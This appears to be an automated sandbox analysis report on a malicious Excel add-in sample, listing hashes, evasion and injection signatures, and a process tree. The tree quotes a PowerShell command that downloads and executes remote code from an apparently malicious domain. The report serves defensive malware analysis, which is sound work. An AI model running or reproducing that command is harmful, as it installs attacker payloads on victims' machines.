Analysis
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max time kernel
148s -
max time network
152s -
platform
windows11-21h2_x64 -
resource
win11-20240426-en -
resource tags
arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system -
submitted
23-05-2024 00:11
Static task
static1
Behavioral task
behavioral1
Sample
45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll
Resource
win11-20240426-en
General
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Target
45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll
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Size
12KB
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MD5
6c93094ce7e68105d2649782011ae102
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SHA1
cdcd50d7485aadd52968427808ff46dae934f8d0
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SHA256
45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7
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SHA512
237efad5fb9d8f003c74832df37d21e3c6a08385905d0e37d6313f6725a56cdac6bfd2405251e1205a7cdc299a1bd3f1a6228bc00ebaaa18582c40eb837721cb
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SSDEEP
192:WL29RBzDzeobchBj8JONjONnru8rEPEjr7Ahc:429jnbcvYJOk9u8vr7Cc
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1660 4532 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 4604 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 4532 EXCEL.EXE 4532 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 4532 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4604 powershell.exe 4604 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4604 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 4532 EXCEL.EXE 4532 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE 4532 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 4532 wrote to memory of 1660 4532 EXCEL.EXE mshta.exe PID 4532 wrote to memory of 1660 4532 EXCEL.EXE mshta.exe PID 4532 wrote to memory of 1660 4532 EXCEL.EXE mshta.exe PID 1660 wrote to memory of 4604 1660 mshta.exe powershell.exe PID 1660 wrote to memory of 4604 1660 mshta.exe powershell.exe PID 1660 wrote to memory of 4604 1660 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1660 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4604
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\45fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7.xll
Filesize12KB
MD56c93094ce7e68105d2649782011ae102
SHA1cdcd50d7485aadd52968427808ff46dae934f8d0
SHA25645fd5eb94af960942d55634a681121a29303f8682442df255f38f0fb03a516b7
SHA512237efad5fb9d8f003c74832df37d21e3c6a08385905d0e37d6313f6725a56cdac6bfd2405251e1205a7cdc299a1bd3f1a6228bc00ebaaa18582c40eb837721cb
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82